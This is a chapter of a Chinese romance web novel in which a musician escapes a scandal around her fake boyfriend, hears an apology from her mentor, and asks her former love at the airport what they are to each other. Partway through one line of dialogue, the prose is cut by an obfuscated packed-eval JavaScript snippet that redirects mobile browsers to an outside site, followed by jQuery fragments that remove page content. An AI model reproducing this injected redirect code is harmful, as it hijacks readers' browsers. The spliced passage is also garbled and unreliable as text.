冬日的光柔和到近乎慈悲，铺满凌乱的床单。


    梁初灵先醒的，身体像是被拆解重组过，每一寸肌肉都留着昨夜绵长的记忆，但奇异的是，内心那片惊涛骇浪，变成近乎虚脱的平静。


    李寻还在睡，睡颜却和她记忆中一样青涩。


    她看了一会儿，确认自己已经十！分！冷！静！


    才敢翻出来手机看消息，该来的总会来。


    点开社媒——


    嗯？预想中的腥风血雨并未出现。


    热搜榜上确实有伊凡的名字，高居前列，但关联词条是：


    【伊凡吸du实锤视频】


    【伊凡辱骂同行录音曝光】


    【伊凡前男友控诉其家暴】


    【伊凡骗婚gay？】


    火力集中，简直刀刀见血，舆论一片哗然，古典音乐圈和娱乐新闻板块同时地震。


    然而没有任何一条热搜，任何一篇报道，提及昨晚剧院后台的混乱。没有梁初灵，更没有李寻。那些对着她们疯狂按下的快门，仿佛是一场集体幻觉。


    在伊凡相关的讨论中，关于梁初灵的部分被引导——


    她是被蒙蔽的受害者、识人不明的痴情女，还有庆幸梁初灵幸好没成同妻的。


    偶尔有几条质疑她是否早知内情的评论，也迅速被“叶莲娜都出面道歉了还能有假？”的声音淹没。


    梁初灵惊得赶紧去找叶莲娜在哪儿道歉了？什么道歉啊？跟谁道歉啊？


    但李寻不知何时醒了，手臂从身后环过来箍住她，下巴搁在她肩头：“在看什么？”


    梁初灵脸一下红了，只好假装冷静地把手机屏幕侧过去给他看。


    李寻浏览了片刻：“不对劲吧？”


    “太干净了对吧？”梁初灵说出他的想法。


    像一场暴雨过后，唯独她们站立的那一小片地面滴水未沾般的干净。


    “那就是被特意打扫过。”李寻也拿过自己的手机，搜索了梁初灵和自己的名字，结果一无所获。


    梁初灵的手机响起来，她看了一眼李寻，接起按下免提。


    “Ling，”一个略显疲惫的女声传来，带着莫斯科知识分子的克制，“是我。你还好吗？”


    梁初灵坐直了身体：“叶莲娜老师。”


    “请允许我正式向你道歉。”叶莲娜的声音很稳，打断梁初灵可能涌出的客套，“我为我的儿子伊凡对你所做的一切，以及我本人当初轻率的请求，给你带来的麻烦和伤害，表示最深的歉意。这是我的错误，因为这是由我的傲慢所造成的。”


    当年叶莲娜找梁初灵，因为她以为自己的孩子只是性向不同，而仅因为这个原因就断送前程，叶莲娜的确认为荒谬而不公。


    她以为伊凡是个好孩子，只是需要一点掩护。


    “我利用了你对我的尊重和情谊，这是我的傲慢——我傲慢地以为我了解我的儿子，傲慢地以为这不会对你造成实质影响。”


    “直到最近，我才知道他是如此不堪。他不仅欺骗了你，也欺骗了我，这不是性向问题，这是人品问题，而我对你造成了如此严肃的伤害。”


    “老师，您别这么说……”梁初灵有点手足无措，左手无意识在摆手，被李寻握住。


    “事实如此。所以我来了。我不会允许伊凡或者我再伤害你。昨天晚上我就到了北京。那些不该出现的照片不会出现。相关的人我也已经处理好。伊凡会为自己的一切行为负责，接受应有的后果。”


    “他以后不会再有机会靠近你，也不会再用任何方式打扰你。他留下的烂摊子，我会负责清理干净。这是我的责任，也是我对你的补偿。”


    梁初灵和李寻对视一眼，这位以强硬和专业著称的钢琴家，效率向来高。


    叶莲娜语气变得温和：“Ling，这件事是我和伊凡对不起你。后续，无论你需要任何形式的澄清、声明，或者艺术上的合作、推荐，我一定义不容辞。这是我个人的承诺，与伊凡无关。”


    “老师，您不用这样的！”梁初灵在面对偶像对她放低姿态时，首先感到的居然是愧疚。


    “这是我应该做的。你是我看着成长起来的最有天赋的孩子，我珍惜你的才华，更珍惜你这个人。让你陷入这种境地，是我的失察和错误。”


    “在俄罗斯，我们有一句话：自己酿的苦酒，自己喝干。所以，让我来处理。好了，我不多占用你的时间。好好准备你的音乐会。舞台是你的，谁都夺不走。”


    “另外，关于你和伊凡的关系，你自由了，孩子。你从来都是自由的，只是被我愚蠢的建议困住了。我很抱歉。”


    电话挂断，李寻的手轻轻捏了捏梁初灵的手指。


    梁初灵也终于找到叶莲娜注册的中文账号，看到了她发布的声明，表达梁初灵是受害者，一直被伊凡所欺骗，还顺带宣传了梁初灵的新专辑……


    这条微博被李炽、金溪、周序、甚至只有一面之缘的陈导等，都点了赞。


    默契的声援将梁初灵安全地包裹。


    一场预料中的风暴就这样消弭于无形，甚至为她赢得了同情和关注。


    梁初灵感觉有些不真实，一场男人的风波竟然没有扯女性下水，甚至因伊凡是gay的缘故，这场热搜狂欢的加害者受害者都只有男人。


    梁初灵看着窗外，北京冬日的天空是一种灰蓝，阳光稀薄而明亮，疏疏落落的树枝切割着天际线，显得冷清又开阔。


    那些恐惧，甚至与李寻在绝境中碰撞出的炽热，仿佛都因这过于利落的解决，而失去了某种真实的重量。


    李寻似有所察，继续从背后紧抱住她，好像在证明那炽热真实。


    安静的拥抱持续了几分钟，梁初灵像是突然被电击一样，从他怀里弹开。


    “完了！”她低呼一声，手忙脚乱地开始在地上散落的衣物中寻找自己的，“几点了？我的航班是晚上……不对，我得先回家拿行李，天哪我什么都没准备！”


    李寻被她这突如其来的慌乱逗乐，但也跟着坐起身，看了一眼手机时间：“还早，刚过九点。你晚上几点的飞机？”


    “八点四十！”梁初灵已经套上了上衣，正在和牛仔裤的扣子搏斗，头发乱糟糟披在肩上，脸上还带着红晕，眼神却已经切换成了赶行程模式，“我得回家收拾。”


    李寻下床，也捡起自己的衣服穿，看着她团团转的样子，嘴角忍不住上扬。昨晚那个在他怀里颤抖又热烈索吻的梁初灵，和眼前这个为了赶飞机慌里慌张的梁初灵重叠，让他觉得可爱。


    “别急。”他走到她身后，帮她理了理翻进去的衣服领子，“我送你。”


    梁初灵转过头看他：“你今天不忙？”


    “剧组今天调休，没安排。而且，送你比较重要。你让你的助理直接去机场等你吧。”


    梁初灵松了口气，毫不客气地开始派活：“那行！那你先送我回家拿行李，然后送我去你家跟栗子道别，然后再送我去机场！”


    她数完，肚子忽然叫了一声，于是理直气壮地补充：“路上再给我买点吃的！我真饿得不行了！从昨天中午到现在就没正经吃东西！”


    李寻也是真被她逗得不行了，没忍住笑出声：“好，听小天才安排。”


    梁初灵被他笑得有点不好意思，但饿意占了上风，推了他一把：“快点！真的饿！”


    车子驶上机场高速时，已是下午四点。


    车外景色以一种坦荡而萧瑟的姿态铺展在外，树木褪尽了叶子，枝桠伸向天空，线条清晰如素描。偶尔有常青的松柏，绿的顽固。


    空气干冷清澈，能见度高，世界显得辽阔，一种属于北方的有力量的冬意，包裹着行驶的车厢。


    往大兴机场走，竟意外经过一片残雪，区与区真是气候差异大。残雪在背阴处闪着固执的白。


    梁初灵靠在椅背上，下午告别时得不舍消减，觉得在这时离开也不错。把一堆事留在身后，奔赴一个有音乐和极光的地方。


    手机又响了，是经纪人。


    “初灵，舆论风向对我们非常有利。我觉得你还是应该出来回应一下，现在大家都很同情你，趁这个机会巩固一下形象。发个声明，表示一下对欺骗的震惊和失望，但更会专注于音乐什么的。”


    梁初灵没立刻回答，她在想，自己需要去扮演那个“震惊、失望但坚强”的受害者吗？去展示自己的伤害，来换取更多的同情吗？


    “算了吧，我不想回应。没什么好说的。”


    经纪人了解她的脾气：“那你落地后发条微博，提一下即将开始


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894669|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的挪威音乐会。”


    “到了那边再说吧。”梁初灵敷衍道。


    她放下手机，冬日景色还在流转，她脑海里盘旋的却是另一件事。从早上醒来，那件事就一直哽在心口，随着离机场越来越近，就越清晰，也就越难以启齿。


    她偷瞟了一眼开车的李寻，昨夜的一切——拥抱、亲吻、眼泪、汗水、喘息——都真实地发生过——可当阳光重新普照，危机骤然解除，她们之间，到底算什么呢？


    是旧情复燃？还是新的开始？


    她不知道。


    话到嘴边，又咽回去。


    反而是李寻先开口，他说：“我还想问一个问题。”


    “嗯？”


    “我溺水进医院时，你为什么没来看我？”


    梁初灵立刻扭头看他表情，这个问题好奇怪，不像是李寻会追问的事情。他向来体谅，甚至过度体谅，现在问出来简直像在撒娇，在不满。


    李寻当然体谅她——所以在李炽告诉他，梁初灵很关心他、她妈妈也忙前忙后联系消防队的时候，李寻尽管心神摇晃，但还是没去联系梁初灵，他以为她和伊凡是真情，所以为了不给梁初灵带来麻烦和波动，只能闭口不言。


    可他现在知道了那是假情，于是更本真的情绪探出头。


    情绪翻译过来是委屈：我受伤了，而你明明关心我，却没有来看我。


    既然李寻展露了这种情绪，梁初灵也实话实说：“因为我以为黄潇是你女朋友。她在你身边照顾你，我过去了会很尴尬。”


    李寻带着无奈：“是第一次见面的时候误会的吗？”


    梁初灵点了点头，“你说你珍视她。”


    “黄潇是编剧，那天我们是在聊我妈的剧本。代指的是古典音乐。”


    梁初灵慢吞吞应了一声：“哦。”然后又说，“好。”


    在红灯前停下，李寻才转头认真地看梁初灵，品读空气，他试着问：“你是还有话要对我说吗？”


    梁初灵欲言又止，止言又欲，最终摇头。


    李寻觉得她的状态怪怪的，还想旁敲侧击猜一下，没敲几句，绿灯亮了，他又继续开车。


    直到李寻把车停在航站楼外，梁初灵裹紧围巾，李寻推着行李箱送她到安检入口的界线处。


    人群熙攘，梁初灵接过行李箱，准备转身进去的时候，那句话终于冲破了所有犹豫：“我们现在是什么关系？”


    李寻没料到她会问这个问题，刚好有旅客走到李寻的身后替他挡住了风，于是风停顿、人失神，仿佛一种悬空术。


    人又很快走开，李寻落了地。


    李寻没有回答，反问她：“我们以前是什么关系？”


    她们明明在正式在一起之前，就走向了决裂。


    没有牵手走在校园里的阳光，没有以恋人身份出席过任何场合，没有向共同的朋友介绍过这是我男朋友/女朋友。


    明明没有真的在一起过。


    却真的经历了所有分手该有的痛苦、拉扯、伤害和漫长的分离。


    没有真正开始，却有真正的结束。


    一个尚未诞生的生命，却拥有了完整的墓志铭。


    她们之间连一个正式的开始都未曾拥有，就已经被判过死刑。


    她们缺乏一个起点。没有那个起点，所以后来的所有分离都失去了一个可以回溯的坐标。


    李寻此刻提起这个，是否在说，我们以前是什么关系，那么现在就是什么关系？


    一段未曾正式命名过开始、却承载了全部离别重量的关系？


    梁初灵突然在飞机上惊醒。


    机舱内温度很高，她却感到寒冷。


    一个总是稳定的人，长出了不安；


    一个喜欢直面问题的人，选择了将问题搁置；


    一个对待情感郑重的人，如今和她不清不楚。


    一切的拧巴、矛盾、反常——源头都在她身上。


    在她造成的创伤后遗症里，他努力调整自己来适应她的再次出现。


    梁初灵望着窗外漆黑无垠的夜空，孤独和清醒同时包裹了她。


    她需要时间和距离去想清楚，她到底能给李寻一个什么样的关系，一个什么样的开始。


    她不能再让他等一个模糊的未来了。